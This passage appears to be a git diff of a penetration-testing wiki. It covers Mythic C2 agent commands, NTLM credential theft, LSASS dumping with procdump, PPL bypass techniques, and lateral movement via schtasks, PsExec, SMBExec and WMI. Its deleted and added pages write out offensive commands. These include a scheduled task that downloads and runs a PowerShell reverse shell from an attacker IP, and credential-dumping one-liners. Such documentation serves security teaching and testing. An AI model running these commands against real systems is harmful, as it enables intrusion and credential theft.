temporary execution of code without affecting the agent's main process +- `run`: Executes a binary on the target system, using the system's PATH to find the executable +- `shinject`: Injects shellcode into a remote process, allowing for in-memory execution of arbitrary code +- `inject`: Injects agent shellcode into a remote process, allowing for in-memory execution of the agent's code +- `spawn`: Spawns a new agent session in the specified executable, allowing for the execution of shellcode in a new process +- `spawnto_x64` and `spawnto_x86`: Change the default binary used in post-exploitation jobs to a specified path instead of using `rundll32.exe` without params which is very noisy. + +### Mithic Forge + +This allows to **load COFF/BOF** files from the Mythic Forge, which is a repository of pre-compiled payloads and tools that can be executed on the target system. With all the commands that can be loaded it'll be possible to perform common actions executing them in the current agent process as BOFs (more steath usually). + +Start installing them with: + +```bash +./mythic-cli install github https://github.com/MythicAgents/forge.git +``` + +Then, use `forge_collections` to show the a COFF/BOF modules from the Mythic Forge to be able to select and load them into the agent's memory for execution. By default, the following 2 collections are added in Apollo: + +- `forge_collections {"collectionName":"SharpCollection"}` +- `forge_collections {"collectionName":"SliverArmory"}` + +After one module is loaded, it'll appear in the list as another command like `forge_bof_sa-whoami` or `forge_bof_sa-netuser`. + +### Powershell & scripting execution + +- `powershell_import`: Imports a new PowerShell script (.ps1) into the agent cache for later execution +- `powershell`: Executes a PowerShell command in the context of the agent, allowing for advanced scripting and automation +- `powerpick`: Injects a PowerShell loader assembly into a sacrificial process and executes a PowerShell command (without powershell logging). +- `psinject`: Executes PowerShell in a specified process, allowing for targeted execution of scripts in the context of another process +- `shell`: Executes a shell command in the context of the agent, similar to running a command in cmd.exe + +### Lateral Movement + +- `jump_psexec`: Uses the PsExec technique to move laterally to a new host by first copying over the Apollo agent executable (apollo.exe) and executing it. +- `jump_wmi`: Uses the WMI technique to move laterally to a new host by first copying over the Apollo agent executable (apollo.exe) and executing it. +- `wmiexecute`: Executes a command on the local or specified remote system using WMI, with optional credentials for impersonation. +- `net_dclist`: Retrieves a list of domain controllers for the specified domain, useful for identifying potential targets for lateral movement. +- `net_localgroup`: Lists local groups on the specified computer, defaulting to localhost if no computer is specified. +- `net_localgroup_member`: Retrieves local group membership for a specified group on the local or remote computer, allowing for enumeration of users in specific groups. +- `net_shares`: Lists remote shares and their accessibility on the specified computer, useful for identifying potential targets for lateral movement. +- `socks`: Enables a SOCKS 5 compliant proxy on the target network, allowing for tunneling of traffic through the compromised host. Compatible with tools like proxychains. +- `rpfwd`: Starts listening on a specified port on the target host and forwards traffic through Mythic to a remote IP and port, allowing for remote access to services on the target network. +- `listpipes`: Lists all named pipes on the local system, which can be useful for lateral movement or privilege escalation by interacting with IPC mechanisms. + +### Miscellaneous Commands +- `help`: Displays detailed information about specific commands or general information about all available commands in the agent. +- `clear`: Marks tasks as 'cleared' so they can't be picked up by agents. You can specify `all` to clear all tasks or `task Num` to clear a specific task. + + +## [Poseidon Agent](https://github.com/MythicAgents/Poseidon) + +Poseidon is a Golang agent that compiles into **Linux and macOS** executables. + +```bash +./mythic-cli install github https://github.com/MythicAgents/Poseidon.git +``` + +When user over linux it has some interesting commands: + +### Common actions + +- `cat`: Print the contents of a file +- `cd`: Change the current working directory +- `chmod`: Change the permissions of a file +- `config`: View current config and host information +- `cp`: Copy a file from one location to another +- `curl`: Execute a single web request with optional headers and method +- `upload`: Upload a file to the target +- `download`: Download a file from the target system to the local machine +- And many more + +### Search Sensitive Information + +- `triagedirectory`: Find interesting files within a directory on a host, such as sensitive files or credentials. +- `getenv`: Get all of the current environment variables. + +### Move laterally + +- `ssh`: SSH to host using the designated credentials and open a PTY without spawning ssh. +- `sshauth`: SSH to specified host(s) using the designated credentials. You can also use this to execute a specific command on the remote hosts via SSH or use it to SCP files. +- `link_tcp`: Link to another agent over TCP, allowing for direct communication between agents. +- `link_webshell`: Link to an agent using the webshell P2P profile, allowing for remote access to the agent's web interface. +- `rpfwd`: Start or Stop a Reverse Port Forward, allowing for remote access to services on the target network. +- `socks`: Start or Stop a SOCKS5 proxy on the target network, allowing for tunneling of traffic through the compromised host. Compatible with tools like proxychains. +- `portscan`: Scan host(s) for open ports, useful for identifying potential targets for lateral movement or further attacks. + +### Process execution + +- `shell`: Execute a single shell command via /bin/sh, allowing for direct execution of commands on the target system. +- `run`: Execute a command from disk with arguments, allowing for the execution of binaries or scripts on the target system. +- `pty`: Open up an interactive PTY, allowing for direct interaction with the shell on the target system. + diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 2bf9971f5..7672ac0b8 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -82,7 +82,7 @@ The **hash NT (16bytes)** is divided in **3 parts of 7bytes each** (7B + 7B + (2 Nowadays is becoming less common to find environments with Unconstrained Delegation configured, but this doesn't mean you can't **abuse a Print Spooler service** configured. You could abuse some credentials/sessions you already have on the AD to **ask the printer to authenticate** against some **host under your control**. Then, using `metasploit auxiliary/server/capture/smb` or `responder` you can **set the authentication challenge to 1122334455667788**, capture the authentication attempt, and if it was done using **NTLMv1** you will be able to **crack it**.\ -If you are using `responder` you could try to \*\*use the flag `--lm` \*\* to try to **downgrade** the **authentication**.\ +If you are using `responder` you could try to **use the flag `--lm`** to try to **downgrade** the **authentication**.\ _Note that for this technique the authentication must be performed using NTLMv1 (NTLMv2 is not valid)._ Remember that the printer will use the computer account during the authentication, and computer accounts use **long and random passwords** that you **probably won't be able to crack** using common **dictionaries**. But the **NTLMv1** authentication **uses DES** ([more info here](#ntlmv1-challenge)), so using some services specially dedicated to cracking DES you will be able to crack it (you could use [https://crack.sh/](https://crack.sh) or [https://ntlmv1.com/](https://ntlmv1.com) for example). @@ -272,6 +272,18 @@ wce.exe -s ::: **For more information about** [**how to obtain credentials from a Windows host you should read this page**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** +## Internal Monologue attack + +The Internal Monologue Attack is a stealthy credential extraction technique that allows an attacker to retrieve NTLM hashes from a victim's machine **without interacting directly with the LSASS process**. Unlike Mimikatz, which reads hashes directly from memory and is frequently blocked by endpoint security solutions or Credential Guard, this attack leverages **local calls to the NTLM authentication package (MSV1_0) via the Security Support Provider Interface (SSPI)**. The attacker first **downgrades NTLM settings** (e.g., LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) to ensure that NetNTLMv1 is permitted. They then impersonate existing user tokens obtained from running processes and trigger NTLM authentication locally to generate NetNTLMv1 responses using a known challenge. + +After capturing these NetNTLMv1 responses, the attacker can quickly recover the original NTLM hashes using **precomputed rainbow tables**, enabling further Pass-the-Hash attacks for lateral movement. Crucially, the Internal Monologue Attack remains stealthy because it doesn't generate network traffic, inject code, or trigger direct memory dumps, making it harder for defenders to detect compared to traditional methods like Mimikatz. + +If NetNTLMv1 is not accepted—due to enforced security policies, then the attacker may fail to retrieve a NetNTLMv1 response. + +To handle this case, the Internal Monologue tool was updated: It dynamically acquires a server token using `AcceptSecurityContext()` to still **capture NetNTLMv2 responses** if NetNTLMv1 fails. While NetNTLMv2 is much harder to crack, it still opens a path for relay attacks or offline brute-force in limited cases. + +The PoC can be found in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. + ## NTLM Relay and Responder **Read more detailed guide on how to perform those attacks here:** diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md deleted file mode 100644 index e72baf864..000000000 --- a/src/windows-hardening/ntlm/atexec.md +++ /dev/null @@ -1,36 +0,0 @@ -# AtExec / SchtasksExec - -{{#include ../../banners/hacktricks-training.md}} - -## How Does it works - -At allows to schedule tasks in hosts where you know username/(password/Hash). So, you can use it to execute commands in other hosts and get the output. - -``` -At \\victim 11:00:00PM shutdown -r -``` - -Using schtasks you need first to create the task and then call it: - -```bash -schtasks /create /n /tr C:\path\executable.exe /sc once /st 00:00 /S /RU System -schtasks /run /tn /S -``` - -```bash -schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" -schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local -``` - -You can also use [SharpLateral](https://github.com/mertdas/SharpLateral): - -```bash -SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName -``` - -More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host). - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index fe4af1da2..dd4bf2e60 100644 --- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -2,8 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -**Check all the great ideas from [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)** -from the download of a microsoft word file online to the ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md +**Check all the great ideas from [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) from the download of a microsoft word file online to the ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md and [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md deleted file mode 100644 index a52930b0d..000000000 --- a/src/windows-hardening/ntlm/psexec-and-winexec.md +++ /dev/null @@ -1,43 +0,0 @@ -# PsExec/Winexec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## How do they work - -The process is outlined in the steps below, illustrating how service binaries are manipulated to achieve remote execution on a target machine via SMB: - -1. **Copying of a service binary to the ADMIN$ share over SMB** is performed. -2. **Creation of a service on the remote machine** is done by pointing to the binary. -3. The service is **started remotely**. -4. Upon exit, the service is **stopped, and the binary is deleted**. - -### **Process of Manually Executing PsExec** - -Assuming there is an executable payload (created with msfvenom and obfuscated using Veil to evade antivirus detection), named 'met8888.exe', representing a meterpreter reverse_http payload, the following steps are taken: - -- **Copying the binary**: The executable is copied to the ADMIN$ share from a command prompt, though it may be placed anywhere on the filesystem to remain concealed. - -- **Creating a service**: Utilizing the Windows `sc` command, which allows for querying, creating, and deleting Windows services remotely, a service named "meterpreter" is created to point to the uploaded binary. - -- **Starting the service**: The final step involves starting the service, which will likely result in a "time-out" error due to the binary not being a genuine service binary and failing to return the expected response code. This error is inconsequential as the primary goal is the binary's execution. - -Observation of the Metasploit listener will reveal that the session has been initiated successfully. - -[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx). - -Find moe detailed steps in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -**You could also use the Windows Sysinternals binary PsExec.exe:** - -![](<../../images/image (165).png>) - -You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral): - -``` -SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName -``` - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md deleted file mode 100644 index f0682e08e..000000000 --- a/src/windows-hardening/ntlm/smbexec.md +++ /dev/null @@ -1,43 +0,0 @@ -# SmbExec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## How it Works - -**Smbexec** is a tool used for remote command execution on Windows systems, similar to **Psexec**, but it avoids placing any malicious files on the target system. - -### Key Points about **SMBExec** - -- It operates by creating a temporary service (for example, "BTOBTO") on the target machine to execute commands via cmd.exe (%COMSPEC%), without dropping any binaries. -- Despite its stealthy approach, it does generate event logs for each command executed, offering a form of non-interactive "shell". -- The command to connect using **Smbexec** looks like this: - -```bash -smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 -``` - -### Executing Commands Without Binaries - -- **Smbexec** enables direct command execution through service binPaths, eliminating the need for physical binaries on the target. -- This method is useful for executing one-time commands on a Windows target. For instance, pairing it with Metasploit's `web_delivery` module allows for the execution of a PowerShell-targeted reverse Meterpreter payload. -- By creating a remote service on the attacker's machine with binPath set to run the provided command through cmd.exe, it's possible to execute the payload successfully, achieving callback and payload execution with the Metasploit listener, even if service response errors occur. - -### Commands Example - -Creating and starting the service can be accomplished with the following commands: - -```bash -sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]" -sc start [ServiceName] -``` - -FOr further details check [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## References - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/ntlm/winrm.md b/src/windows-hardening/ntlm/winrm.md deleted file mode 100644 index 0ccd9da50..000000000 --- a/src/windows-hardening/ntlm/winrm.md +++ /dev/null @@ -1,10 +0,0 @@ -# WinRM - -{{#include ../../banners/hacktricks-training.md}} - -For information about [**WinRM read this page**](../../network-services-pentesting/5985-5986-pentesting-winrm.md). - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md deleted file mode 100644 index f2ad2bc88..000000000 --- a/src/windows-hardening/ntlm/wmiexec.md +++ /dev/null @@ -1,133 +0,0 @@ -# WmiExec - -{{#include ../../banners/hacktricks-training.md}} - -## How It Works Explained - -Processes can be opened on hosts where the username and either password or hash are known through the use of WMI. Commands are executed using WMI by Wmiexec, providing a semi-interactive shell experience. - -**dcomexec.py:** Utilizing different DCOM endpoints, this script offers a semi-interactive shell akin to wmiexec.py, specifically leveraging the ShellBrowserWindow DCOM object. It currently supports MMC20. Application, Shell Windows, and Shell Browser Window objects. (source: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) - -## WMI Fundamentals - -### Namespace - -Structured in a directory-style hierarchy, WMI's top-level container is \root, under which additional directories, referred to as namespaces, are organized. -Commands to list namespaces: - -```bash -# Retrieval of Root namespaces -gwmi -namespace "root" -Class "__Namespace" | Select Name - -# Enumeration of all namespaces (administrator privileges may be required) -Get-WmiObject -Class "__Namespace" -Namespace "Root" -List -Recurse 2> $null | select __Namespace | sort __Namespace - -# Listing of namespaces within "root\cimv2" -Get-WmiObject -Class "__Namespace" -Namespace "root\cimv2" -List -Recurse 2> $null | select __Namespace | sort __Namespace -``` - -Classes within a namespace can be listed using: - -```bash -gwmwi -List -Recurse # Defaults to "root\cimv2" if no namespace specified -gwmi -Namespace "root/microsoft" -List -Recurse -``` - -### **Classes** - -Knowing a WMI class name, such as win32_process, and the namespace it resides in is crucial for any WMI operation. -Commands to list classes beginning with `win32`: - -```bash -Get-WmiObject -Recurse -List -class win32* | more # Defaults to "root\cimv2" -gwmi -Namespace "root/microsoft" -List -Recurse -Class "MSFT_MpComput*" -``` - -Invocation of a class: - -```bash -# Defaults to "root/cimv2" when namespace isn't specified -Get-WmiObject -Class win32_share -Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpComputerStatus -``` - -### Methods - -Methods, which are one or more executable functions of WMI classes, can be executed. - -```bash -# Class loading, method listing, and execution -$c = [wmiclass]"win32_share" -$c.methods -# To create a share: $c.Create("c:\share\path","name",0,$null,"My Description") -``` - -```bash -# Method listing and invocation -Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) -``` - -## WMI Enumeration - -### WMI Service Status - -Commands to verify if the WMI service is operational: - -```bash -# WMI service status check -Get-Service Winmgmt - -# Via CMD -net start | findstr "Instrumentation" -``` - -### System and Process Information - -Gathering system and process information through WMI: - -```bash -Get-WmiObject -ClassName win32_operatingsystem | select * | more -Get-WmiObject win32_process | Select Name, Processid -``` - -For attackers, WMI is a potent tool for enumerating sensitive data about systems or domains. - -```bash -wmic computerystem list full /format:list -wmic process list /format:list -wmic ntdomain list /format:list -wmic useraccount list /format:list -wmic group list /format:list -wmic sysaccount list /format:list -``` - -Remote querying of WMI for specific information, such as local admins or logged-on users, is feasible with careful command construction. - -### **Manual Remote WMI Querying** - -Stealthy identification of local admins on a remote machine and logged-on users can be achieved through specific WMI queries. `wmic` also supports reading from a text file to execute commands on multiple nodes simultaneously. - -To remotely execute a process over WMI, such as deploying an Empire agent, the following command structure is employed, with successful execution indicated by a return value of "0": - -```bash -wmic /node:hostname /user:user path win32_process call create "empire launcher string here" -``` - -This process illustrates WMI's capability for remote execution and system enumeration, highlighting its utility for both system administration and penetration testing. - -## References - -- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) - -## Automatic Tools - -- [**SharpLateral**](https://github.com/mertdas/SharpLateral): - -```bash -SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe -``` - -{{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md index 53658aca4..4e50ec1e9 100644 --- a/src/windows-hardening/stealing-credentials/README.md +++ b/src/windows-hardening/stealing-credentials/README.md @@ -58,12 +58,16 @@ mimikatz_command -f "lsadump::sam" As **Procdump from** [**SysInternals** ](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)**is a legitimate Microsoft tool**, it's not detected by Defender.\ You can use this tool to **dump the lsass process**, **download the dump** and **extract** the **credentials locally** from the dump. +You could also use [SharpDump](https://github.com/GhostPack/SharpDump). + ```bash:Dump lsass #Local C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp #Remote, mount https://live.sysinternals.com which contains procdump.exe net use Z: https://live.sysinternals.com Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp +# Get it from webdav +\\live.sysinternals.com\tools\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` ```c:Extract credentials from the dump @@ -75,7 +79,7 @@ mimikatz # sekurlsa::logonPasswords This process is done automatically with [SprayKatz](https://github.com/aas-n/spraykatz): `./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24` -**Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead o**f the **name lsass.exe.** +**Note**: Some **AV** may **detect** as **malicious** the use of **procdump.exe to dump lsass.exe**, this is because they are **detecting** the string **"procdump.exe" and "lsass.exe"**. So it is **stealthier** to **pass** as an **argument** the **PID** of lsass.exe to procdump **instead of** the **name lsass.exe.** ### Dumping lsass with **comsvcs.dll** diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index ac2fc2bfd..569f9caff 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -18,19 +18,49 @@ To **toggle this feature off or on**, the _**UseLogonCredential**_ and _**Negoti reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -## LSA Protection +## LSA Protection (PP & PPL protected processes) -Starting with **Windows 8.1**, Microsoft enhanced the security of LSA to **block unauthorized memory reads or code injections by untrusted processes**. This enhancement hinders the typical functioning of commands like `mimikatz.exe sekurlsa:logonpasswords`. To **enable this enhanced protection**, the _**RunAsPPL**_ value in _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ should be adjusted to 1: +**Protected Process (PP)** and **Protected Process Light (PPL)** are **Windows kernel-level protections** designed to prevent unauthorized access to sensitive processes like **LSASS**. Introduced in **Windows Vista**, the **PP model** was originally created for **DRM** enforcement and only allowed binaries signed with a **special media certificate** to be protected. A process marked as **PP** can only be accessed by other processes that are **also PP** and have an **equal or higher protection level**, and even then, **only with limited access rights** unless specifically allowed. -``` +**PPL**, introduced in **Windows 8.1**, is a more flexible version of PP. It allows **broader use cases** (e.g., LSASS, Defender) by introducing **"protection levels"** based on the **digital signature’s EKU (Enhanced Key Usage)** field. The protection level is stored in the `EPROCESS.Protection` field, which is a `PS_PROTECTION` structure with: +- **Type** (`Protected` or `ProtectedLight`) +- **Signer** (e.g., `WinTcb`, `Lsa`, `Antimalware`, etc.) + +This structure is packed into a single byte and determines **who can access whom**: +- **Higher signer values can access lower ones** +- **PPLs can’t access PPs** +- **Unprotected processes can't access any PPL/PP** + +### What you need to know from an offensive perspective + +- When **LSASS runs as a PPL**, attempts to open it using `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` from a normal admin context **fail with `0x5 (Access Denied)`**, even if `SeDebugPrivilege` is enabled. +- You can **check LSASS protection level** using tools like Process Hacker or programmatically by reading the `EPROCESS.Protection` value. +- LSASS will typically have `PsProtectedSignerLsa-Light` (`0x41`), which can be accessed **only by processes signed with a higher-level signer**, such as `WinTcb` (`0x61` or `0x62`). +- PPL is a **Userland-only restriction**; **kernel-level code can fully bypass it**. +- LSASS being PPL does **not prevent credential dumping if you can execute kernel shellcode** or **leverage a high-privileged process with proper access**. +- **Setting or removing PPL** requires reboot or **Secure Boot/UEFI settings**, which can persist the PPL setting even after registry changes are reversed. + +**Bypass PPL protections options:** + +If you want to dump LSASS despite PPL, you have 3 main options: +1. **Use a signed kernel driver (e.g., Mimikatz + mimidrv.sys)** to **remove LSASS’s protection flag**: + +![](../../images/mimidrv.png) + +2. **Bring Your Own Vulnerable Driver (BYOVD)** to run custom kernel code and disable the protection. Tools like **PPLKiller**, **gdrv-loader**, or **kdmapper** make this feasible. +3. **Steal an existing LSASS handle** from another process that has it open (e.g., an AV process), then **duplicate it** into your process. This is the basis of the `pypykatz live lsa --method handledup` technique. +4. **Abuse some privileged process** that will allow you to load arbitrary code into its address space or inside another privileged process, effectively bypassing the PPL restrictions. You can check an example of this in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) or [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump). + +**Check current status of LSA protection (PPL/PP) for LSASS**: + +```bash reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` -### Bypass +When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this. -It is possible to bypass this protection using Mimikatz driver mimidrv.sys: +- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) -![](../../images/mimidrv.png) ## Credential Guard @@ -40,7 +70,7 @@ By default, **Credential Guard** is not active and requires manual activation wi To verify **Credential Guard**'s activation status, the registry key _**LsaCfgFlags**_ under _**HKLM\System\CurrentControlSet\Control\LSA**_ can be inspected. A value of "**1**" indicates activation with **UEFI lock**, "**2**" without lock, and "**0**" denotes it is not enabled. This registry check, while a strong indicator, is not the sole step for enabling Credential Guard. Detailed guidance and a PowerShell script for enabling this feature are available online. -```powershell +```bash reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md index 06388e3cf..e970ad22b 100644 --- a/src/windows-hardening/stealing-credentials/wts-impersonator.md +++ b/src/windows-hardening/stealing-credentials/wts-impersonator.md @@ -6,7 +6,7 @@ The **WTS Impersonator** tool exploits the **"\\pipe\LSM_API_service"** RPC Name The tool operates through a sequence of API calls: -```powershell +```bash WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW ``` @@ -15,35 +15,35 @@ WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → - **Enumerating Users**: Local and remote user enumeration is possible with the tool, using commands for either scenario: - Locally: - ```powershell + ```bash .\WTSImpersonator.exe -m enum ``` - Remotely, by specifying an IP address or hostname: - ```powershell + ```bash .\WTSImpersonator.exe -m enum -s 192.168.40.131 ``` - **Executing Commands**: The `exec` and `exec-remote` modules require a **Service** context to function. Local execution simply needs the WTSImpersonator executable and a command: - Example for local command execution: - ```powershell + ```bash .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe ``` - PsExec64.exe can be used to gain a service context: - ```powershell + ```bash .\PsExec64.exe -accepteula -s cmd.exe ``` - **Remote Command Execution**: Involves creating and installing a service remotely similar to PsExec.exe, allowing execution with appropriate permissions. - Example of remote execution: - ```powershell + ```bash .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2 ``` - **User Hunting Module**: Targets specific users across multiple machines, executing code under their credentials. This is especially useful for targeting Domain Admins with local admin rights on several systems. - Usage example: - ```powershell + ```bash .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index cabf2c78f..909291721 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -407,7 +407,7 @@ klist sessions ### Home folders -```powershell +```bash dir C:\Users Get-ChildItem C:\Users ``` @@ -621,7 +621,7 @@ If the path to an executable is not inside quotes, Windows will try to execute e For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: -```powershell +```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe @@ -629,7 +629,7 @@ C:\Program Files\Some Folder\Service.exe List all unquoted service paths, excluding those belonging to built-in Windows services: -```powershell +```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -637,7 +637,7 @@ wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Window Get-ServiceUnquoted -Verbose ``` -```powershell +```bash for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do ( echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo. @@ -645,7 +645,7 @@ for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do ( ) ``` -```powershell +```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` @@ -873,7 +873,7 @@ The **Data Protection API (DPAPI)** provides a method for symmetric encryption o Encrypted user RSA keys, by using DPAPI, are stored in the `%APPDATA%\Microsoft\Protect\{SID}` directory, where `{SID}` represents the user's [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file**, typically consists of 64 bytes of random data. (It's important to note that access to this directory is restricted, preventing listing its contents via the `dir` command in CMD, though it can be listed through PowerShell). -```powershell +```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` @@ -882,7 +882,7 @@ You can use **mimikatz module** `dpapi::masterkey` with the appropriate argument The **credentials files protected by the master password** are usually located in: -```powershell +```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ @@ -902,7 +902,7 @@ dpapi-extracting-passwords.md To **decrypt** a PS credentials from the file containing it you can do: -```powershell +```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -1178,16 +1178,16 @@ crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ### IIS Web Config -```powershell +```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -```powershell +```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config C:\inetpub\wwwroot\web.config ``` -```powershell +```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1362,7 +1362,7 @@ Tools to extract passwords from browsers: **Component Object Model (COM)** is a technology built within the Windows operating system that allows **intercommunication** between software components of different languages. Each COM component is **identified via a class ID (CLSID)** and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs). -COM classes and interfaces are defined in the registry under **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and 